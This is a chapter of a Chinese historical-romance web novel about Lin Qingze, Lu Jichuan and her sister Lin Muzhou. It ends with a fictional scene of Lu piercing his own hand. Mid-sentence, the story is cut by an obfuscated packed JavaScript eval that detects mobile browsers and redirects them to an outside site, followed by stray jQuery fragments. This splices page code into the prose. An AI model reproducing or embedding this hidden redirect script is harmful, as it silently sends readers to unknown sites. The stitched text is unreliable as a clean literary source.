林清泽往后退了几步,伸出手拦住他的贴近,“停步,陆小厮,本小姐找你来是有正事的。”
陆霁川脚步一顿,装作有些疑惑地样子微微挑眉,“嗯?我还以为林小姐终于了悟我那日所言,回去思索良久……”
那日所言?
林清泽思索片刻,才想起来这货那天说了一句自己的存在让他很惊艳。
惊艳什么?惊艳白头如新,倾盖如故。
“打住打住,”林清泽反应过来他后面是什么鬼话,连忙摆摆手绕过他,来到桌前坐下,从若盈手里接过香囊。
“今日来此,是为了谢过当日陆公子救命之恩。来日陆公子有什么需要帮忙的,只要在我林清泽能力范围内,绝不推脱。”
林清泽一边说着,一边将手中的香囊递过去,陆霁川见状含笑坐在她旁边接过香囊,放在鼻子边轻嗅。
香囊不过是路边随处可见的那种,里面放了些惠草花椒。样式也并不繁杂,外表是一个白色丝绸制成的葫芦,上面绣着一行小字,陆霁川轻笑着朗声念道:“何以致叩叩?香囊系肘后。”
话落深深的看了林清泽一眼,将香囊别在腰间,“林小姐的意思,我明白了。”
“啊?”林清泽瞬间懵了,“等等,你说清楚,你明白什么了,我不太明白。”
陆霁川故作高深地打开扇子,露出一双狐狸般的眼睛,“林小姐不知?这诗前些日子在民间流行了一阵,诗名为《定情诗》,乃繁钦所作。”
“何以致叩叩?香囊系肘后。何以致契阔?绕腕双跳脱……”念了几句,陆霁川几乎有些幸灾乐祸地看向目瞪口呆的林清泽,故作深情地点点头,“林小姐的心意,在下定不辜负。”
林清泽好半晌总算回过神来,嘴唇不受控制地抖了几下,随即剜了若盈一眼,咬牙强笑道:“陆公子,我不小心拿错了,这样吧,这个香囊实在是太寒碜了。你还给我,过几日我找到更好的礼物再送你。”
若盈抖了一下,小姐,这不能怨我,这诗我真没听过……
陆霁川用扇子拦住林清泽伸过来的手,“林小姐,送出去的东西,哪有收回的道理,这个香囊在下就笑纳了。”
林清泽看了眼陆霁川腰间的香囊,忍不住扶额叹息一声,摆了摆手,“也罢,说正事,今日找陆公子,确是有事想请陆公子帮忙。之前刺杀我的刺客被捕后全部自尽,听闻仵作验尸后也没找到什么眉目,案情至今毫无进展。”
听林清泽说正事,陆霁川总算恢复正形,拿着扇子的手放在桌面上,手腕微转带动扇子有一下没一下地敲在小桌上,“此事我有所耳闻,还有五皇子不知为何,竟也跟着凑热闹。”
提到楚辞殷,陆霁川语气凉凉地开口,“听闻令姐林暮洲还为这个案子去找他,上次在宫中我就瞧见他二人私下闲聊,金童玉女倒也算天生一对。”
“你还挺八卦的,”林清泽无语,“不过你出去可别乱说,对我姐姐名声不好。”
“八卦?”
“就是……爱说是非,算了不重要,”林清泽将话题拉回来,“如今官府是指望不上了,我想着你若是方便,能否带上庞缨陪我去顺定崖再走一遭,看能不能找到什么线索。”
听到林清泽说自己是非,陆霁川默默片刻,看了身后的庞缨一眼,微微颔首,“什么大事,你打算何时去查,伤口如何了?”
林清泽看了眼自己的右肩,衣服下的皮肉上留下一道不算浅的疤痕至今未消,时时刻刻提醒着她这口气不能随便咽下去。
叹了口气,林清泽幽幽开口,“其实差不多了,只是恐怕会有后遗症,右手使不上劲。”
“使不上劲?”陆霁川闻言凑过来,挺翘的鼻尖几乎扫过林清泽的衣衫。就在他抬起的手指还差一寸碰到林清泽时,猛然想起那些礼教规矩。
他生怕林清泽觉得自己唐突,连忙轻咳一声坐回去,“什么庸医,我……”
他想说,他去找大司马府的郎中,定能治好林清泽的伤,可一想到自己的父母,却又不知该如何开口。
如今偷偷跑出来已是不易,若是让自己的父母听闻他和林清泽还有沾染,会不会之后想见她一面都是难如登天。
私心里,陆霁川不愿如此。
“无事,”林清泽也被方才陆霁川的行为弄得愣了一下,反应过来后微微敛眸,拿起桌上的茶水小抿一口,笑着用左手轻轻按了按自己的右肩,“反正我肩不能挑手不能提的,应该也没什么需要我动手的地方。”
陆霁川闻言有些心虚地笑笑,抬手示意庞缨唤来小厮,点了几道名菜,“这可是他们店的招牌,你看看有什么喜欢的再选几个,今日我请。”
林清泽闻言摆手说今日怎么也该她来请客,又挑了个蒸米糕算作小点心开胃,这才让小厮下去准备。
期间两人又随意闲聊几句,林清泽招呼着庞缨和若盈坐过来一道用餐,陆霁川的手在袖中摩挲了很久,终究没有将礼物送出去。
“告辞,林小姐,”用过晚膳,陆霁川拿着扇子一揖,“今日多想款待,三日后我带庞缨在林府后门接你,届时奉上今日香囊的回礼。”
林清泽噎了一下,也知在这事上和陆霁川解释算是白费口舌,只得吃了这个哑巴亏,回他一礼,“三日后再会。”
陆霁川带着庞缨回去的路上,庞缨不解地扫了眼陆霁川的衣袖,“公子怎么不将步摇送出去?”
陆霁川一改平日风流纨绔的笑容,微垂着眉眼看了看自己的右手,“庞缨,你说右手无法用力,会不会很痛苦?”
庞缨点点头,“会,至少对于习武之人而言,若是右手受伤会很麻烦。”
“这样啊……”陆霁川闻言点点头,神情晦暗不明,“走吧,再不回去,母亲该发现了。”
林清泽跟着若盈小心翼翼地回到林府,蹑手蹑脚地关上房门一口气还没呼出来,就听身后一声淡淡的“清泽”,吓得林清泽差点摔倒在地上。
屏风后面,一个人影悄无声息地走出来,明媚如春风的笑容在此刻也沾上了几分危险,“我在屋内等了两个时辰,清泽,你去做什么了?”
林暮洲?
林清泽咽了口唾沫,连忙滑跪,说话都控制不住地有些结巴,“姐,姐姐,我我我,我就是出去散散步。”
林暮洲坐在椅子上,一副静静地看着林清泽胡扯的表情。
林清泽见状,连忙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447400|185160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
露出一个无比真诚的表情,顺便撒娇卖萌丝滑小连招,试图萌混过关。
林暮洲叹了口气,示意她过来坐下,“你偷溜出府去做什么姐姐可以不管,但是你前些日子才遭遇刺杀,连自己的性命也不顾了吗?”
“姐姐,我错了,你放心,没有下次了……”
骗你的,下次还敢。
林暮洲戳了戳她的脑袋,“下次要出门和我说一声,我帮你望风,怎么一点警惕心都没有,不知道让下人守着些,父亲母亲还有叶夫人来了怎么办?”
林清泽噎了一下,倒不是她不想让人守着,只是偷溜出去这事知道的人越少越好,随即有些怀疑地看了眼林暮洲。
这么熟练,她该不会也是惯犯吧?
林暮洲有些宠溺地笑了笑,揉了一把林清泽的脑袋,“好了,你以为姐姐是你?”
“对了姐姐,我听说你和五殿下关系不错?”林清泽突然想起陆霁川的话,八卦之心熊熊燃烧,“是不是真的呀?”
林暮洲闻言僵了一下,表情有些不自然地站起身,“别瞎说,清泽。”
“我和五殿下只是……随意闲聊了几句,五殿下学识不凡,我偶尔向他请教几句诗词,他的回答也很有见地。”
林清泽内心呵呵两声。别装了姐,我可是手握剧本的女人,你们俩可是男女主,有什么好遮遮掩掩的?
“我懂我懂,”林清泽挤了挤眼睛,露出一个有些暧昧的表情,攀上林暮洲的肩膀,“姐姐你放心吧,我绝对不会跟任何人提起,谁问我都不说。”
————————————
陆府,陆霁川坐在床边抚摸着一支步摇,烛火在他琥珀色的眼瞳中不断闪烁着,窗外不知哪里吹进来一阵冷风,熄灭了屋内的几支蜡烛。
“公子?”
陆霁川抬眼看向自己身边的小厮。
小厮名唤扶闻,算是从小跟在陆霁川身边伺候,如果说庞缨是专门负责陆霁川的安全问题,那扶闻则是负责陆霁川的一切琐事。
陆霁川轻轻用指尖弹了一下手中的步摇,道:“扶闻,把上次从凤羽楼带的簪子拿过来。”
扶闻不明所以,但是主子吩咐了他也不多置喙,连忙在抽屉中开始翻找陆霁川随手扔进去的簪子,找到后弯着腰小跑过来递给他。
“公子突然要簪子做什么?”
陆霁川笑了笑,将簪子随手扔在床上,右手握着步摇晃了晃,“有一物心爱之,辗转反侧不可得,扶闻,你说该如何是好?”
扶闻不解,“公子想要什么?”
扶闻不明白,这世上除了皇家想要的东西,究竟有什么是大司马府弄不来的?
陆霁川微微眯眼,笑得像只狐狸,“以权谋之?无趣,本公子想要的,是她有朝一日自愿将心奉给我。”
话落,陆霁川突然用步摇狠狠扎向自己的左手手掌,步摇尖端锋利非常,直接贯穿了他的左手。
献血顺着掌心流向手腕,在昏暗的烛光中绘成一幅妖异的图案,陆霁川面上神色痛苦,可眼神中又流出几分嗜血的兴奋,甚至用右手小心翼翼地拂过步摇上微微颤抖的紫金蝴蝶。
这是,属于他的东西……